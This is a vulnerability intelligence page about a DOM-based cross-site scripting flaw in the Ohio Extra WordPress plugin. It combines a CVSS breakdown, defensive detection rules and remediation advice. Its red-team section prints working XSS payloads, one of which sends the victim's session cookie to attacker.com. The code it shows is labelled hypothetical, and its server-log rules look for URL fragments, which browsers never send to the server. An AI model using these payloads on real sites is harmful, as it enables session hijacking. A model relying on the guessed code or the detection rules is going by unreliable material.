☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Colabrio logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-64365

CVE-2025-64365 Cross-Site Scripting in Colabrio
📅 PUBLISHED: 2025-10-31 11:42 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-64365 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the Ohio Extra WordPress plugin (slug: ohio-extra) developed by Colabrio. This plugin is part of the Ohio WordPress theme ecosystem and provides extended functionality such as custom post types, shortcodes, and page builder elements. The vulnerability exists in versions from n/a through 3.6.0, allowing an attacker to inject malicious scripts that execute in the victim's browser due to improper neutralization of user input during web page generation. The attack vector is DOM-based, meaning the payload is processed client-side without server-side validation, making it particularly stealthy. Given the widespread use of the Ohio theme, this vulnerability poses a significant risk to WordPress sites using the plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. As a supply chain risk, any site using the Ohio Extra plugin version <= 3.6.0 is potentially compromised. The plugin is not available on NPM, PyPI, Go, or Ruby registries, but its distribution through the WordPress ecosystem means automatic updates may not be enforced. Site administrators must manually update or apply mitigations.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): Low – Limited ability to disrupt service.

Threat Level: Medium. While the CVSS score is moderate, the DOM-based nature and lack of a patch increase the risk. Exploitation requires user interaction, but phishing campaigns can easily deliver the payload.

Deep Dive & Mechanics

The vulnerability resides in the ohio-extra plugin's JavaScript handling of user-supplied data. DOM-Based XSS occurs when client-side JavaScript reads data from an attacker-controlled source (e.g., document.location.hash, document.URL, or window.name) and writes it to a sink (e.g., innerHTML, document.write, or eval) without proper sanitization. In this case, the plugin likely processes URL fragments or query parameters to dynamically update page content, such as popup messages or custom shortcode outputs. The improper neutralization allows an attacker to inject arbitrary HTML and JavaScript.

Example vulnerable code pattern (hypothetical):

var userInput = window.location.hash.substring(1);
document.getElementById('message').innerHTML = userInput;

An attacker can craft a URL like https://example.com/#<img src=x onerror=alert(1)> to execute JavaScript.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (JavaScript):

// ohio-extra/assets/js/frontend.js
var hash = window.location.hash;
if (hash) {
    var content = hash.substring(1);
    document.querySelector('.ohio-popup-content').innerHTML = content;
}

Patched Code (Hypothetical):

// ohio-extra/assets/js/frontend.js (patched)
var hash = window.location.hash;
if (hash) {
    var content = hash.substring(1);
    // Sanitize using DOMPurify or textContent
    var sanitized = DOMPurify.sanitize(content);
    document.querySelector('.ohio-popup-content').innerHTML = sanitized;
    // Alternatively, use textContent to prevent HTML injection
    // document.querySelector('.ohio-popup-content').textContent = content;
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Target WordPress site with Ohio Extra plugin <= 3.6.0.
  • Ability to deliver a crafted URL to a logged-in administrator or user.

Exploit Payload:

https://target-site.com/#<img src=x onerror=alert(document.cookie)>

This payload, when visited by an admin, will execute JavaScript in the context of the WordPress admin panel, potentially exfiltrating session cookies.

Advanced Payload (Session Hijacking):

https://target-site.com/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

  1. Install WordPress locally (e.g., using XAMPP or Docker).
  2. Install the Ohio theme and Ohio Extra plugin version 3.6.0.
  3. Create a page that uses a vulnerable shortcode or element.
  4. Craft the exploit URL and test in a browser.

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor web server logs for URLs containing #<script or #<img patterns.
  2. Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
  3. Implement Content Security Policy (CSP) headers to block inline scripts.
  4. Deploy Web Application Firewall (WAF) rules to detect DOM-based XSS patterns.

Mitigation:

  • Disable the plugin until a patch is released.
  • Use a security plugin like Wordfence to add virtual patching.
  • Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

  • URL Patterns: *#<script*, *#<img*, *#<svg*, *#onerror*, *#onload*
  • HTTP Referer: Requests containing # with HTML tags in the fragment.
  • Client-Side Artifacts: JavaScript execution of alert(), prompt(), or fetch() to external domains.
  • Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.

Detection Engineering

YARA Rule

rule dom_xss_ohio_extra {
    meta:
        description = "Detects DOM-based XSS attempts targeting Ohio Extra plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64365"
    strings:
        $payload1 = /#<script[^>]*>/
        $payload2 = /#<img[^>]*onerror/
        $payload3 = /#<svg[^>]*onload/
        $payload4 = /#<body[^>]*onload/
    condition:
        any of them
}

Sigma Rule

title: DOM-Based XSS Attempt via URL Fragment
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with suspicious URL fragments indicative of DOM-based XSS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<body'
            - '#<iframe'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with HTML-like content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64365 DOM-Based XSS in Ohio Extra Plugin"; flow:to_server,established; content:"#<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64365 DOM-Based XSS in Ohio Extra Plugin"; flow:to_server,established; content:"#<img"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64365 DOM-Based XSS in Ohio Extra Plugin"; flow:to_server,established; content:"#<svg"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until an official patch is released.
  2. Implement a Web Application Firewall (WAF) rule to block requests containing #<script or similar patterns.
  3. Add Content Security Policy (CSP) header: Content-Security-Policy: script-src 'self'; (adjust as needed).
  4. Monitor logs for exploitation attempts using the Sigma rule above.

Long-Term Fix:

  • Contact Colabrio for a patched version.
  • Apply the hypothetical patch by sanitizing user input with textContent or a library like DOMPurify.
  • Conduct a security audit of all JavaScript files in the plugin.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"ohio-extra"
http.html:"Ohio Extra"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-64365/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.